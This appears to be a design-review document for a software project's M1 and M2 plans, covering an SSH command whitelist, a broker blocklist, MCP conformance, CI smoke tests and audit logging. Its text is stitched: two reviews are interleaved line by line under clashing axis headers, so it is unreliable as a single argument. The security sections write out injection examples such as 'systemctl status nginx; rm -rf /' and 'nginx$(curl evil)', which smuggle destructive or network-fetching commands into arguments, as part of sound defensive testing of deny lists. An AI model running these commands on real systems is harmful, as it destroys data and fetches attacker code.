- **Argument injection (PO #2's specific question: `systemctl status nginx; rm -rf /`):** The Go layer catches `;` via the deny list (`whitelist.go:110-116`). The broker layer-1 regex `^[a-zA-Z0-9_.-]+$` rejects `;`. Both reject. ✓. But `systemctl status nginx rm -rf /` (space-separated, no `;`) — the Go layer's prefix match accepts `systemctl status` then sees `nginx`, `rm`, `-rf`, `/` as trailing tokens; none are in the deny list, so **Go accepts**. The broker regex rejects because the service-name capture is `nginx rm -rf /` which fails `^[a-zA-Z0-9_.-]+$` (spaces). **So the broker rejects and Go accepts.** This is the divergence the PO asked about. The broker is correct; Go is *wrong* (it would run `systemctl status nginx rm -rf /` which systemctl interprets as "status of unit `nginx`, then ignore `rm -rf /` as extra args — actually harmless, but the principle is broken). The cross-layer test (R-003, PLAN.md:333-335) only asserts `rm -rf /` (base command unknown) is rejected by both. It does **not** test `systemctl status nginx rm -rf /` (valid prefix, malicious trailing args) — the actual divergence case.
|
||||
|
||||
- **A command that passes broker but fails CheckCommand (or vice versa):** This is the untested failure mode the PO named. The cross-layer test asserts *both reject* `rm -rf /`. It does not assert *both accept* a valid command like `systemctl status nginx` — and given the algorithm divergence, that's the case that could diverge. A valid command that the broker accepts but Go rejects (false negative at the broker would let it through; false negative at Go would let it execute) is the risk.
|
||||
|
||||
**The fix:** expand the cross-layer test (R-003) to a *divergence matrix*: (a) both reject `rm -rf /`; (b) both accept `systemctl status nginx`; (c) broker rejects `systemctl status nginx rm -rf /` (regex fails on spaces) — assert Go *also* rejects (it currently does NOT without a deny-list entry for bare `rm`); (d) Go accepts `systemctl status nginx$(curl evil)` (deny list misses `$()`) — assert broker rejects (regex fails). Cases (c) and (d) will currently *fail* on one layer, exposing the divergence. The fix is to either (i) tighten the Go deny list to include `rm`, `$`, `(`, `)`, or (ii) tighten the Go layer to validate trailing tokens for `systemctl status` against the same character class the broker uses. Option (ii) makes the two layers semantically equivalent for the 6-command subset, which is the defense-in-depth intent.
|
||||
|
||||
**Confidence: 0.72** — the architecture is sound; the divergence is real and fixable; the cross-layer test is insufficient.
|
||||
|
||||
---
|
||||
|
||||
## Axis 5: Testability
|
||||
|
||||
**Verdict: PASS**
|
||||
|
||||
Every M1 REQ has ≥1 pass/fail must-have. REQ-001/002/003/004/005 → Wave B must-haves (SSO round-trip, 403 test, role-change-enforced-next-call). REQ-006/007/008/009 → Wave C must-haves (secret-ref scan, validation green/red, 400/503 reject paths). REQ-010/011/012/013 → Wave D must-haves (3 OS install matrix, registration metadata, reconnect-backoff). REQ-014 → Wave E must-haves (green-within-90s, yellow→red aging, T1≠T2 RLS). REQ-038/039/040 → Wave A must-haves (chain verification, UPDATE/DELETE rejected, cross-tenant zero rows, secrets-not-in-DB scan). The 4 review deliverables (per-REQ report, demo, pen test, install logs) are explicitly produced in the Final Phase. Coverage gate ≥80% (spec §6) is enforced. The one soft spot — the SSH whitelist hook has no integration test against a real exec path in M1 — is captured under Axis 6, not here, because the *unit* testability is complete.
|
||||
|
||||
---
|
||||
|
||||
## Axis 6: Security
|
||||
## Axis 4: INV-7 at the Broker (PO Expectation #3)
|
||||
|
||||
**Verdict: PASS-WITH-FIXES**
|
||||
|
||||
The patterns are sound and match RESEARCH.md R-003/004 and CLARIFY D-003/004:
|
||||
- RLS: `SET LOCAL app.tenant_id` per-transaction, app role non-superuser, migrator role BYPASSRLS-gated, `withTenant` wrapper, query-outside-wrapper throws. Correct.
|
||||
- Audit: append-only `audit_log`, `REVOKE UPDATE/DELETE` from `coreci_app`, hash-chain `curr_hash = sha256(prev_hash || canonical(payload))`, constraint trigger rejects forged `prev_hash`, write-failure rolls back the enclosing transaction (Edge 7). Correct.
|
||||
- Secrets: `SecretProvider` interface, AWS SM (prod) + local-encrypted (dev), DB stores only `secret_ref`, `SecretValue.toString()` returns `[REDACTED]`, lint rule bans `console.log(secret)`. Correct.
|
||||
- RBAC: enforced at API gateway from first endpoint (`GET /api/me`), role→route map, 403 test for Viewer→Admin route. Correct.
|
||||
- SSH whitelist: fixed file, `CheckCommand` parses base + args, deny list catches `-exec`/redirection/operators, unit tests for `rm -rf`/`find -exec`/pipe-to-nc. Correct *as far as it goes*.
|
||||
The plan's write-method blocklist (REQ-018) rejects, per adapter: Proxmox POST/PUT/DELETE; SSH non-whitelist commands; GitHub scopes outside `metadata:read`+`actions:read`; Gitea POST/PUT/DELETE/PATCH. The broker is documented as "the load-bearing safety boundary" (spec §5, REQ-018 acceptance criterion). Verified against M1 source: the broker does not exist yet (Wave F builds it), so this is a plan-vs-spec review, not a code review.
|
||||
|
||||
Two gaps:
|
||||
**The blocklist is sufficient for M2's actual adapter surface, but it is weaker than the PO's framing implies, and the framing matters because it governs where future security review focuses.**
|
||||
|
||||
1. **Per-tenant hash-chain concurrency.** R-003 notes "Per-tenant chain is simpler... avoids cross-tenant ordering contention" and recommends partitioning by `tenant_id` or heavy indexing on `(tenant_id, id)`. But the constraint trigger that enforces `prev_hash = (last row's curr_hash for that tenant)` requires reading "the last row for this tenant" — under concurrent writers in the same tenant (two simultaneous audit appends), both read the same `prev_hash`, both INSERT, and one's `prev_hash` will fail the constraint. That's correct (no corruption), but it means concurrent audit writes in one tenant will *serialize-fail* and roll back. For M1 volume (onboarding, dashboard) this is fine. For M3 (chat with parallel tool calls) it's a bottleneck. The plan should state this is a known M1-acceptable limitation with a documented M3 mitigation (advisory lock per tenant, or sequence-per-tenant, or accept the rollback-retry).
|
||||
1. **The closed 9-tool registry (REQ-015) is the primary boundary, not the write-blocklist.** `proxmox.shutdown_vm` is not a tool. The broker cannot route it because the registry doesn't contain it. The write-blocklist is a *backstop for adapter bugs* — the scenario where the adapter code mistakenly constructs a POST. The plan presents the blocklist as "the load-bearing safety boundary" and the closed registry as a secondary mention. This is inverted. The registry is the gate; the blocklist is defense-in-depth against the adapter. A security reviewer who reads "the broker is the load-bearing safety boundary" and then audits the blocklist will miss that the *registry* is the actual control. The fix is a documentation correction, not a code change — but it changes where review attention goes.
|
||||
|
||||
2. **Whitelist hook has no integration test path in M1.** `CheckCommand` is unit-tested, but the claim "Retrofit later = rewrite" (PO claim #1) rests on the hook being *correct in the shape M2 will consume*. With no exec path, M1 cannot prove the hook actually intercepts a real SSH command — only that it parses strings. An M2 discovery that `exec.Command` needs the command pre-split differently, or that the deny list misses a real-world escape (e.g., `systemctl status; rm -rf /` where `;` is in the arg not the base), would force a rework *despite* the M1 pre-investment.
|
||||
2. **Method-based blocklist vs endpoint allowlist (PO #3's specific concern).** The blocklist says "Proxmox: reject POST/PUT/DELETE." This means "allow GET." But PVE has GET endpoints with side effects (e.g., `GET /api2/json/nodes/{node}/qemu/{vmid}/status/current` is safe, but some PVE API GET endpoints trigger snapshot operations or API token reload depending on configuration — this is a known PVE quirk). The M2 adapter calls only 3 specific GET endpoints (`/nodes`, `/nodes/{node}/qemu`, `/nodes/{node}/qemu/{vmid}/status/current`, `/nodes/{node}/status`), all of which are genuinely read-only. So the blocklist is *correct for M2's 3 tools* but *not generally correct for PVE*. The stronger model — an endpoint allowlist (only permit these exact paths) — would be safe against any PVE GET-with-side-effects. The plan's adapter code implicitly does this (it only constructs the 3 paths), but the *blocklist* does not enforce it. If a future tool (`proxmox.snapshot_list`, say) hits a GET endpoint with side effects, the blocklist would allow it. The fix: document that the blocklist is method-based and REST-specific, that the 3 PVE endpoints are verified read-only, and that an endpoint allowlist is the M3+ evolution if the tool set grows.
|
||||
|
||||
**Required fixes:**
|
||||
6. Add to Wave A audit task (or RESEARCH.md R-003) an explicit note: "Per-tenant hash-chain serializes concurrent audit writes within one tenant via constraint-trigger rollback. Acceptable for M1 volume. M3 mitigation: per-tenant advisory lock (`pg_advisory_xact_lock(hashtext(tenantId))`) before the INSERT, or sequence-per-tenant." This documents the known limit so M3 isn't surprised.
|
||||
7. Add to Wave D Task 6 a **shadow integration test**: a Go test that constructs an `exec.Cmd` from a parsed whitelist command (e.g., `exec.Command("systemctl", "status", "nginx")`) and asserts `CheckCommand` accepts it, plus a negative test that `exec.Command("rm", "-rf", "/")` is rejected *before* the Cmd would be started. This proves the hook composes with `os/exec` without needing a live SSH server. Closes the "M2 rework" risk the PO claim is hedging against.
|
||||
3. **GraphQL mutations (PO #3's specific concern).** GitHub has a GraphQL API with mutations (`createIssue`, `mergePullRequest`, ...). The M2 GitHub adapter uses *only REST GET* (PLAN.md:377-380). The write-blocklist is method-based (POST/PUT/DELETE) — it does not cover GraphQL. If a future adapter uses GraphQL, the blocklist is blind to mutations (GraphQL uses POST for both queries and mutations). For M2 this is moot — no GraphQL adapter exists. But the plan should document that the blocklist is REST-method-based and that a GraphQL adapter (if ever added) needs a different enforcement model (allowlist of specific GraphQL operations, not HTTP method). Leaving this undocumented creates a future security gap that will be discovered post-incident.
|
||||
|
||||
4. **GitHub scopes outside `metadata:read`+`actions:read` (REQ-018 wording).** The blocklist wording for GitHub is "scopes outside `metadata:read`+`actions:read`" — but this is not a *method* blocklist like the others; it's a *scope* check. And per R-004, GitHub has *no fine-grained PAT scope introspection endpoint* — the broker can only detect missing scopes at invocation time via 403 + `X-Accepted-GitHub-Permissions`. So the "blocklist" for GitHub is really a runtime 403-handler, not a pre-dispatch reject. This is a different enforcement model from Proxmox/Gitea (method blocklist, pre-dispatch). The plan conflates them under "write-method blocklist." The fix: separate the two enforcement models in the write-blocklist module — (a) method blocklist (Proxmox/Gitea: pre-dispatch HTTP-method check); (b) scope-via-403 (GitHub: runtime 403 + header handling, per R-004). They are not the same mechanism.
|
||||
|
||||
5. **GET-with-side-effects on Proxmox (PO #3's specific concern).** Addressed in (2) above. The 3 M2 endpoints are verified read-only; the blocklist is sufficient for M2; an endpoint allowlist is the stronger future model.
|
||||
|
||||
**Confidence: 0.75** — the M2 surface is safe; the framing and documentation are the fixes; GraphQL/PVE-GET-with-side-effects are future risks that must be documented.
|
||||
|
||||
---
|
||||
|
||||
## Axis 7: Architecture drift
|
||||
|
||||
**Verdict: PASS**
|
||||
|
||||
Line-for-line, PLAN.md is faithful to ARCHITECTURE.md and all 5 CLARIFY decisions:
|
||||
- D-001 (OpenAI-compatible BYOM): Wave C uses `/v1/chat/completions`. ✓
|
||||
- D-002 (Go Relay Agent): Wave D ships a Go binary + systemd. ✓
|
||||
- D-003 (AWS SM + local-encrypted behind interface): Wave A Task 6 ships both impls. ✓
|
||||
- D-004 (Postgres append-only + hash-chain, S3 WORM deferred to M3): Wave A Task 5 matches exactly. ✓
|
||||
- D-005 (Next.js App Router single SPA): Wave B/E ship dashboard in `apps/control-plane`/`apps/dashboard`. ✓
|
||||
- The API-gateway-first invariant (ARCHITECTURE.md §invariants) is enforced by Wave B Task 4. ✓
|
||||
- The `withTenant` discipline is owned by data-engineer (territory alignment matches PERSONAS.md). ✓
|
||||
- No contradictions between PLAN.md, ARCHITECTURE.md, and CLARIFY.md found.
|
||||
|
||||
---
|
||||
|
||||
## Axis 8: Requirements coverage
|
||||
## Axis 5: MCP Conformance Evidence (PO Expectation #4, lowest confidence 0.80)
|
||||
|
||||
**Verdict: PASS-WITH-FIXES**
|
||||
|
||||
All 17 M1 REQs have explicit tasks and must-haves:
|
||||
- REQ-001→005: Wave B. ✓
|
||||
- REQ-006→009: Wave C. ✓
|
||||
- REQ-010→013: Wave D. ✓
|
||||
- REQ-014: Wave E. ✓
|
||||
- REQ-038/039/040: Wave A. ✓
|
||||
The plan's conformance artifact (R-001, PLAN.md:213-222) is: `packages/mcp/PROTOCOL.md` + 6 tests in `tests/mcp-conformance/` (`tools-list`, `tools-call-happy`, `tools-call-error`, `tools-call-invalid-args`, `translator`, `lifecycle`) + a `MCP_PROTOCOL_VERSION = "2025-06-18"` constant. This is a reasonable *internal* conformance suite.
|
||||
|
||||
The single coverage problem is **REQ-026**. The plan lists "REQ-026 (whitelist hook only)" in Wave D (PLAN.md line 17, 154, 163). But spec §4 REQ-026's acceptance criteria reads: "*Given a customer generates an SSH keypair... when the Relay Agent receives a tool call, then only commands on the approved whitelist are executed; non-whitelisted commands are rejected and audited.*" That is full SSH-key-auth + whitelist **execution** — which is M2 work (REQUIREMENTS.md traceability line 98 confirms "deferred (whitelist format + hook ships M1 Wave D)"). The plan's parenthetical "(whitelist hook only)" is doing a lot of load-bearing work and is the single most likely place for a scope dispute at the M1 review.
|
||||
**But it does not prove MCP interoperability, which is what "conformance" means to an external auditor.**
|
||||
|
||||
The REQUIREMENTS.md traceability table (line 98) correctly defers REQ-026 to M2 with the M1-hook note. The plan is *consistent* with REQUIREMENTS.md. But the spec §4 acceptance criteria for REQ-026 are NOT M1-eligible as written. This is a spec-vs-plan wording gap, not a plan defect — yet the plan inherits the ambiguity.
|
||||
1. **The synthetic `initialize`/`initialized` handshake is a facade.** The in-process custom transport (D-007) passes JSON-RPC messages as JS objects — no wire serialization, no actual transport. The synthetic handshake (broker → `{method:"initialize",...}`, adapter → `{capabilities:{tools:{}}}`) is a *function call*, not a protocol exchange. RESEARCH.md R-001 (line 59) admits this: "implement a lightweight synthetic `initialize` exchange... so the conformance artifact can point to a real lifecycle exchange." It is *not* a real lifecycle exchange — it's a function call that *looks like* one. The `lifecycle.test.ts` asserts the "JSON-RPC 2.0 envelope shape" — but the envelope never crosses a transport boundary. An external MCP client (the official MCP inspector, or any third-party MCP host) cannot connect to the in-process transport. So the conformance artifact proves the broker's *internal shape* matches MCP, not that the broker *is* an MCP server.
|
||||
|
||||
**Required fixes:**
|
||||
8. Add to PLAN.md Wave D a one-line scope statement: "M1 ships REQ-026 *partially*: the whitelist file format + `CheckCommand` enforcement hook + unit tests. The spec §4 REQ-026 acceptance criteria (SSH keypair auth + tool-call-driven execution) are M2. M1's must-have is the hook + whitelist, NOT end-to-end SSH execution." This makes the partial-REQ-026 coverage explicit so the M1 review doesn't dispute it. (This is a clarification, not a spec change — the REQUIREMENTS.md traceability already says this.)
|
||||
2. **The stdio transport (broker ↔ CI/LLM smoke) is the only real-transport path** — and it is not in the conformance suite. The LLM smoke (Wave J) connects to the broker via stdio (D-007: "stdio transport for broker ↔ CI/LLM smoke"). This *is* a real MCP transport. But the conformance tests (Wave F) don't cover it; the LLM smoke (Wave J) does not assert MCP conformance, only that the smoke passes. So the one path where a real MCP client connects (the LLM smoke via stdio) is tested for *function* (does the smoke pass?) but not for *conformance* (does `tools/list` + `tools/call` over stdio match the spec verbatim?).
|
||||
|
||||
3. **No external MCP client connects.** The PO's question — "Will an external MCP client (e.g., the official MCP inspector) be able to connect and pass `tools/list` + `tools/call`?" — the honest answer is: **untested.** The plan has no test that connects an external MCP client. The 6 conformance tests are all in-process. The stdio path is exercised by the LLM smoke (which uses a custom `llm-mock`, not the MCP inspector). So the 0.80 confidence is *honest* (R-001 says "the only residual risk is the synthetic lifecycle handshake") but the artifact does not close the residual risk.
|
||||
|
||||
**The fix (PO #4: "Should the stdio transport for CI smoke be the conformance path?"):** Yes. Add a 7th conformance test — `stdio-interop.test.ts` — that connects to the broker via stdio transport (the same transport the LLM smoke uses), issues a real `tools/list` JSON-RPC request over stdin/stdout, asserts the response is a valid JSON-RPC 2.0 envelope with the 9 tools, then issues a `tools/call` for a mock adapter and asserts the result shape. This is the test that proves an external MCP client can connect. If the official MCP inspector (or a minimal stdio client) passes against the broker, the conformance claim is *real*, not facaded. This is the single highest-value fix in the grill — it moves the lowest-confidence axis (0.80) to evidence-backed.
|
||||
|
||||
4. **`title` and `outputSchema` (new in 2025-06-18).** R-001 documents that `title` is optional and `outputSchema` is optional. The broker populates neither (RESEARCH.md:26). This is spec-compliant (both optional). But `outputSchema` would give the Test-Call UI structured result typing. This is a M2 *may*, not a *must*. Not a fix; a noted opportunity.
|
||||
|
||||
**Confidence: 0.70** — the internal shape is verified; the external interoperability is not. The stdio conformance test is the fix.
|
||||
|
||||
---
|
||||
|
||||
## Axis 9: Operational readiness
|
||||
## Axis 6: LLM Smoke Reliability (PO — P0, Not Deferrable)
|
||||
|
||||
**Verdict: FAIL**
|
||||
|
||||
The M2 gate item 8 (spec §6) requires: "A chat-completion request with tools parameter invokes `github.list_repos` via the broker, receives adapter response, and returns a synthesized LLM response grounded in adapter data... If `packages/llm-mock` cannot reliably drive the full OpenAI→MCP→adapter→result→synthesis path against a real GitHub target in CI, that's a P0 issue for the M2 cycle, not a deferral to M3."
|
||||
|
||||
The plan's 7-step smoke (PLAN.md:463-472) is a correct *flow*. The problem is the *infrastructure* it rests on does not exist and the *dependencies* have no fallback.
|
||||
|
||||
1. **No CI pipeline exists.** Verified: `.github/workflows/` does not exist in the repo. STATE.md (section 3) confirms: "CI / CD: UNKNOWN — needs investigation (no CI/CD pipeline configured; local verification via pnpm typecheck/test, go test, bash install.test.sh)." The plan's Wave 0 prerequisite (PLAN.md:26-27) says "CI Postgres 16 container provisioned" and "Real GitHub PAT available in CI" — but **there is no CI to provision them in.** Gate item 5 ("CI/CD pipeline builds successfully — GREEN") and gate item 6 ("CI Postgres 16 container running; real GitHub PAT available in CI") presuppose CI infrastructure that has never been built. The plan treats "set up CI" as a Wave 0 prerequisite bullet point, eliding that it is a *from-scratch CI/CD pipeline build* — a non-trivial infrastructure project in its own right (GitHub Actions workflow, service containers, secrets management for the PAT, caching, matrix jobs). This is the M2 cycle's single largest hidden work item.
|
||||
|
||||
2. **Real GitHub in CI is a flaky dependency with no fallback.** The smoke calls `GET /user/repos` against real GitHub with a real PAT. Failure modes: (a) GitHub is down (rare but real — GitHub has had multi-hour outages); (b) the PAT is rate-limited (`x-ratelimit-remaining: 0` — the broker's own 60/min is well below GitHub's 5000/h, but the *test-org-scoped* PAT may be shared across CI runs or have a low limit); (c) the test org has 0 repos (the smoke asserts "real repo names from the CI test org" — if the org is empty, the assertion fails for a non-broker reason); (d) the PAT is expired or revoked. The plan has **no retry policy** for GitHub outages, **no fallback mock-GitHub adapter** for the smoke, and **no skip-on-infrastructure-failure** mechanism. A single GitHub API hiccup fails the M2 gate.
|
||||
|
||||
3. **`packages/llm-mock` determinism is brittle.** The mock uses deterministic pattern matching (PLAN.md:446-449): prompt contains "list" + "repo" → `tool_calls:[{function:{name:"github.list_repos",...}}]`. This is a *string-contains* check. If the smoke prompt wording drifts (e.g., "Show me my GitHub repositories" instead of "List my GitHub repositories"), the pattern misses "list" and the mock returns no `tool_calls` — the smoke fails for a mock-implementation reason, not a broker reason. The plan says "deterministic — no randomness" (PLAN.md:450), which is good for reproducibility but bad for robustness — the pattern is a fragile contract between the test prompt and the mock. A regex or keyword set, not a 2-word conjunction, is the fix.
|
||||
|
||||
4. **No mock-GitHub fallback.** The PO's question — "is there a fallback (mock GitHub adapter for the smoke)?" — the answer is **no.** The plan's GitHub adapter (Wave I) calls real GitHub. The Wave F stub adapters (T13) include a `github` stub that returns canned `{content:[{type:"text",text:"stub"}]}` — but the LLM smoke (Wave J) uses the *real* GitHub adapter (gate item 8 requires "real GitHub target"). If the real GitHub is unavailable, the smoke cannot fall back to the stub because the stub doesn't return real repo names (the assertion requires "real repo names from the CI test org"). The fix: a `github-mock` adapter (distinct from the broker stub) that returns a *deterministic canned repo list* (e.g., `[{"name":"coreci-test-repo-1"},{"name":"coreci-test-repo-2"}]`) and a smoke variant that runs against `github-mock` *always* (proving the OpenAI→MCP→adapter→result→synthesis path) + a smoke variant that runs against *real GitHub* *when available* (proving real-target integration), with the real-GitHub variant marked `allow-failure` or `optional` so a GitHub outage doesn't block the M2 gate. The mock path is the P0 gate; the real path is the ideal.
|
||||
|
||||
**This is the M2 cycle's P0 blocker.** The PO is explicit: "If `packages/llm-mock` cannot reliably drive the full path against a real GitHub target in CI, that's a P0 issue." The plan cannot guarantee reliability because (a) no CI exists, (b) GitHub is an external dependency with no fallback, (c) the mock's pattern matching is brittle. The M2 cycle cannot ship until the smoke is reliable — and "reliable" requires a fallback path.
|
||||
|
||||
**Confidence: 0.90** — this is the clearest FAIL in the grill. The fix is substantial (build CI, add fallback, harden the mock) and must land before EXECUTE.
|
||||
|
||||
---
|
||||
|
||||
## Axis 7: Wave Ordering & Parallelism
|
||||
|
||||
**Verdict: PASS-WITH-FIXES**
|
||||
|
||||
The M1 acceptance gate (spec §2.3) will pass: the Happy Path (PLAN.md §Happy Path) walks SSO → BYOM green → install → register → green dashboard, and each step has a must-have. The 4 review deliverables (Final Phase §M1 review deliverables) are all producible:
|
||||
1. Per-REQ report: each REQ has must-haves → pass/fail. ✓
|
||||
2. Demo recording: Happy Path is walkable end-to-end (Wave E must-have line 197). ✓
|
||||
3. Pen test: `tests/pen/cross-tenant.test.ts` (Wave A scaffold, Final full run). ✓
|
||||
4. Install logs on 3 OSes: Wave D must-haves + CI matrix. ✓ (with the caveat below)
|
||||
The ordering (F → {G,H,I parallel} → J → Final) is architecturally correct: all adapters depend on the broker, J depends on the broker + at least one adapter (GitHub for the smoke), Final depends on all. The go-engineer persona reactivation for Wave H only (PERSONAS.md:19) is correctly scoped.
|
||||
|
||||
The gap: deliverable #4 requires install logs on "Ubuntu 24.04 (pass), Debian 12+ (pass), unsupported OS (clean abort)" (Final Phase line 217). The test strategy (PLAN.md line 244) says "CI matrix runs `scripts/install.sh` on Ubuntu 24.04, Debian 12, Fedora (expects abort) containers." Fedora as the *representative* unsupported OS is a plan choice, not a spec mandate. Spec §5 says "Install script aborts on unsupported OS" — it does not name Fedora. If the pen-test reviewer asks "did you test CentOS? RHEL? Alpine?" the plan has no answer. The "unsupported OS" deliverable is under-specified.
|
||||
**But the parallelism of G/H/I is not real — it is contingent on F's stub adapters being contract-correct, which is unverified.**
|
||||
|
||||
**Required fixes:**
|
||||
9. Define the unsupported-OS test matrix explicitly in PLAN.md Wave D must-haves: at minimum 2 unsupported cases (e.g., Fedora + Alpine, or CentOS Stream + Arch) to prove `detect_os` aborts on a non-Debian-family OS and a wrong-version Debian-family OS. Single-OS "unsupported" is not sufficient evidence for the M1 review deliverable.
|
||||
1. **F ships stub adapters (T13); G/H/I plug in real adapters.** The stubs are "minimal mock adapters (one per type) that the broker can route to" with "canned `{content:[{type:"text",text:"stub"}], isError:false}`." The real adapters (G: PVE API client; H: SSH via WebSocket; I: GitHub/Gitea REST) have different shapes — they make HTTP calls, resolve secrets, handle upstream errors, normalize responses. The *interface* between the broker and an adapter (the in-process custom transport's `tools/list`/`tools/call` contract) is defined by F's stubs. If G's real Proxmox adapter needs, say, async streaming (PVE API calls are async with `fetch`), and F's stub returns a sync canned string, the interface may need an `async` signature change that ripples back to F. The plan does not specify the adapter interface as a contract F owns — it is implicit in the stub code. G/H/I engineers will discover the contract by reading F's stubs, and if it doesn't fit, they either rework F or work around it. Either serializes.
|
||||
|
||||
2. **The `mcp_adapters` table (shipped in F) and the adapter interface (shipped in F with stubs) are the shared dependency.** If the table schema needs a column for G (e.g., Proxmox needs `allowSelfSigned` in config JSON — the plan does put this in `config jsonb`, so this is covered), or the adapter interface needs a method for H (e.g., the SSH adapter needs a `targetId→WebSocket` reverse index that F's stubs don't build), G/H/I serialize on F. The plan's `mcp_adapters` schema (PLAN.md:161) is `config jsonb` (flexible), so schema changes are unlikely. The adapter interface is the risk.
|
||||
|
||||
3. **The reverse index `targetsByTenant: Map<tenantId, Map<targetId, WebSocket>>` (R-003, PLAN.md:323) is an H-specific need.** The M1 `ws-server.ts` `connectedAgents` Map is keyed by `WebSocket` (verified: `ws-server.ts:56` `const connectedAgents = new Map<WebSocket, ConnectedAgent>()`). The M1 `ConnectedAgent` (ws-server.ts:47-54) has `tenantId` and `targetId` fields. H needs to build the reverse index from this map. This is an H task (not F), so F's stubs don't need it. But if F's broker router assumes a `targetId`-indexed lookup that F's stubs provide via a different mechanism, H reworks the router. The plan's router (T3) "resolves `(tenant_id, adapter_type, target_id)` tuples to adapter instances" — for in-process adapters (G/I), the "instance" is a module; for SSH (H), the "instance" is a WebSocket. The router must handle both. F's stubs are all in-process modules; H's SSH adapter is a WebSocket client. **The router's adapter-instance abstraction must accommodate both in-process and WebSocket-backed adapters in F, or H reworks the router.** The plan does not call this out.
|
||||
|
||||
**The fix:** F must ship a documented `McpAdapter` interface (in `packages/mcp/types.ts` or similar) that both in-process adapters (G/I) and the WebSocket-backed SSH adapter (H) implement. The interface must specify: `tools/list() → Promise<Tool[]>`, `tools/call(name, args) → Promise<McpResult>`, and a registration mechanism. The stubs implement it; the real adapters implement it. This makes F→G/H/I a contract handoff, not a code-reading exercise. Without this, the parallelism is aspirational.
|
||||
|
||||
**Confidence: 0.72** — the parallelism is achievable with a documented interface contract; without it, G/H/I serialize on F rework.
|
||||
|
||||
---
|
||||
|
||||
## High-Stakes Claim Stress-Tests
|
||||
## Axis 8: M1 Non-Regression
|
||||
|
||||
### Claim 1 — "SSH command whitelist (REQ-026) — ship the whitelist file format and the enforcement hook in the Relay Agent now. M2 plugs the adapter into the existing hook. Retrofit later = rewrite."
|
||||
**Verdict: PASS-WITH-FIXES**
|
||||
|
||||
**Verdict: CLAIM SUBSTANTIVELY MET, WITH ONE GAP.**
|
||||
M2 is additive at the DB layer: new `mcp_adapters` table (F), new audit event types (F), no changes to M1 tables or invariants. Verified against M1 source: `packages/db/src/withTenant.ts` (unchanged), `packages/secrets/src/provider.ts` (unchanged), `apps/relay-agent/whitelist/whitelist.go` (G-004 contract lock — `CheckCommand(cmd string) error` signature unchanged, confirmed in source comment lines 4-8). The plan's claim "no schema, invariant, or behavioral changes to M1 systems except additive" is *mostly* true.
|
||||
|
||||
Wave D Task 6 ships `/etc/coreci/ssh-whitelist.json` (versioned, with commands + arg-deny list) and `apps/relay-agent/whitelist/check.go` (`CheckCommand(cmd) error`) with unit tests. This *is* the file format + enforcement hook the PO demanded. The retrofit-later-rewrite risk is genuinely mitigated. **The gap**: with no SSH execution path in M1, the hook is only string-tested, not exec-composition-tested. If M2's `exec.Command` integration reveals the hook needs the command pre-split or the deny list misses real-world escapes, M2 will rework *despite* the M1 investment. The PO's "rewrite" framing assumes the hook is correct as-shipped; M1 cannot prove that without an exec path. **Fix #7 (shadow `exec.Cmd` integration test) closes this.** With that fix, the claim holds.
|
||||
**Three non-regression risks:**
|
||||
|
||||
### Claim 2 — "Audit log immutability (REQ-038) — append-only store from day one. The pattern you set in M1 propagates to every event in M2/M3."
|
||||
1. **The audit `AuditEventType` TS union must be extended (compile-break).** Verified: `packages/db/src/audit.ts:24-32` defines `AuditEventType = "prompt" | "tool_call" | "ssh_command" | "response" | "config" | "auth" | "provision" | "validation"`. M2 needs `adapter.configured`, `adapter.test_connection.succeeded`, `adapter.test_connection.failed`, `adapter.capability_invoked`, `adapter.write_rejected`. The DB column (`0001_init.sql:93`) is `TEXT NOT NULL` with no CHECK constraint, so the DB accepts the new types. But `appendAudit(client, event: AuditEvent)` is typed — `event.eventType: AuditEventType` — so passing `adapter.configured` is a TS compile error. **The M2 plan must extend the `AuditEventType` union** (in `packages/db/src/audit.ts`) and **that is a change to an M1 source file** (`packages/db/src/audit.ts`). The plan says "additive — no schema change" (PLAN.md:208) which is true at the DB layer but false at the TS layer. This is a behavioral change to M1 code (a type widening) that must be called out as an M1-file edit, not hidden as "additive." It is low-risk (widening a union), but it is an M1 file change and must be owned.
|
||||
|
||||
**Verdict: CLAIM MET, WITH ONE DOCUMENTED LIMIT.**
|
||||
2. **The WS server `handleMessage` switch must add a `tool_call` case.** Verified: `apps/control-plane/ws-server.ts:183-193` has a `switch (msg.type)` with `register`, `ping`, and a `default` that returns `unknown message type`. M2 (Wave H) adds a `tool_call` case. This is a behavioral change to a shared M1 file — the WS server now handles a new message type. M1's `register`/`ping`/`pong` paths are unaffected (the switch is additive), but the file is edited. The plan (PLAN.md:325) says "M1 non-regression: the `register`/`ping`/`pong` paths must continue to work; the heartbeat loop must not break." This is the right intent, but it is an M1-file edit that must be regression-tested — the plan's test strategy (PLAN.md:553-564) mentions "M1 non-regression: all M1 tests still pass" but does not add a *specific* M1-relay-WS regression test that asserts `register`→`registered` and `ping`→`pong` still work after the `tool_call` case is added.
|
||||
|
||||
Wave A Task 5 ships the Postgres append-only `audit_log` with hash-chain + `REVOKE UPDATE/DELETE` + constraint trigger on forged `prev_hash` + halt-on-write-failure. This is the right day-one pattern (CLARIFY D-004 rationale is correct: additive refactor to S3 WORM in M3, not a rewrite). The hash-chain pattern *does* propagate cleanly to M2/M3 because the `append(event)` contract is event-type-agnostic. **The limit**: per-tenant concurrent-write serialization (Axis 6 gap #1) is acceptable for M1 but will surface in M3 under parallel tool calls. **Fix #6** documents this so M3 isn't a surprise. With that documentation, the claim holds for M1 and the propagation story is sound.
|
||||
3. **Wave 0 RLS verification may surface M1 RLS bugs.** Verified via STATE.md: M1's RLS was tested on PGlite, which "does not enforce RLS on SELECT" (STATE.md section 2: "PGlite in dev/test — same schema, RLS not enforced on SELECT in PGlite 0.5.7, app-layer withTenant + explicit WHERE is primary enforcement"). The M1 `audit.ts` uses `FOR UPDATE` row locking (audit.ts:90) and `withTenant` sets `app.tenant_id` (withTenant.ts:57). Wave 0 (PLAN.md:43, R-009) replaces the placeholder `expect(true).toBe(true)` RLS assertions with real RLS `WITH CHECK` assertions against Postgres 16. **This is the first time M1's RLS policies are tested against a real RLS-enforcing database.** If M1's RLS policies have a bug (e.g., a policy that allows cross-tenant SELECT because the `WHERE` clause is wrong, or a missing `FORCE ROW LEVEL SECURITY`), Wave 0 will discover it — and that M1 bug blocks M2 because M2 reuses M1's `withTenant` + RLS. The plan acknowledges this as R-009 but treats it as a Wave 0 deliverable, not as an M1-regression risk. The fix: Wave 0 must run M1's full test suite against Postgres 16 (not just the RLS pen-test), and any M1 RLS failure is an M1-regression P0 that blocks M2 until fixed.
|
||||
|
||||
### Claim 3 — "RBAC enforcement (REQ-005) — at the API gateway from the first endpoint. No 'we'll add auth later' stubs."
|
||||
